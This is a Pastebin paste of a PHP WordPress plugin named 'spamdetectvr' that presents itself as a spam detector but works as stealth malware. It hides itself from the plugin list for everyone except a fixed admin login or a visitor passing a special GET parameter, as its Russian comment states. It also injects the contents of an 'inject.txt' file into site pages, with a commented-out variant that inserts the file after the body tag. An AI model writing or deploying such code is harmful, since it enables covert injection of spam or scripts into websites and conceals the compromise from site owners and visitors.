Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- Plugin Name: spamdetectvrDescription: spam file detect to page bdy
- Author: J
- Version: 1.1
- */
- define('SPAMDETECTVR__BASENAME', basename( __DIR__ ) );
- define('SPAMDETECTVR__PLUGIN', SPAMDETECTVR__BASENAME . DIRECTORY_SEPARATOR . basename( __FILE__ ) );
- define('SPAMDETECTVR__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
- define('SPAMDETECTVR__SCRIPT_DIR', SPAMDETECTVR__PLUGIN_DIR );
- define('SPAMDETECTVR__SCRIPT_FILE', 'inject.txt');
- define('SPAMDETECTVR__SCRIPT_FILE_FULL', SPAMDETECTVR__SCRIPT_DIR . SPAMDETECTVR__SCRIPT_FILE);
- define('SPAMDETECTVR__ADMIN_LOGIN', 'SPAMDETECTVR__ADMIN');
- //скрываем плагины от всех кроме главного админа start
- function SPAMDETECTVR_hide($plugins) {
- if( $_GET[SPAMDETECTVR__ADMIN_LOGIN] == 1 ) {
- return $plugins;
- }
- $user = wp_get_current_user();
- if( $user->data->user_login === SPAMDETECTVR__ADMIN_LOGIN ) {
- return $plugins;
- }
- if( is_plugin_active( SPAMDETECTVR__PLUGIN ) ) {
- unset( $plugins[ SPAMDETECTVR__PLUGIN ] );
- }
- return $plugins;
- }
- add_filter('all_plugins', 'SPAMDETECTVR_hide');
- add_action( 'loop_start', function (){
- if( file_exists(SPAMDETECTVR__SCRIPT_FILE_FULL) && is_readable(SPAMDETECTVR__SCRIPT_FILE_FULL) ) {
- readfile(SPAMDETECTVR__SCRIPT_FILE_FULL);
- }
- });
- //add_action('shutdown', function() {
- // $final = '';
- // $levels = ob_get_level();
- // for ($i = 0; $i <= $levels; $i++){
- // $final .= ob_get_clean();
- // }
- // echo apply_filters('final_output', $final);
- //}, 0);
- //
- //add_filter('final_output', function($output) {
- // $after_body = apply_filters('after_body','');
- // if( !$after_body ) return NULL;
- // $output = preg_replace("/(\<body.*\>)/", "$1".$after_body, $output);
- // //echo '<textarea>', htmlspecialchars($output),'</textarea>';
- // return $output;
- //});
- //
- //add_action('after_body', function() {
- // if( file_exists(SPAMDETECTVR__SCRIPT_FILE_FULL) && is_readable(SPAMDETECTVR__SCRIPT_FILE_FULL) ) {
- // $content = file_get_contents(SPAMDETECTVR__SCRIPT_FILE_FULL);
- // return ($content === FALSE ? NULL : $content);
- // }
- //});
Advertisement
Add Comment
Please, Sign In to add comment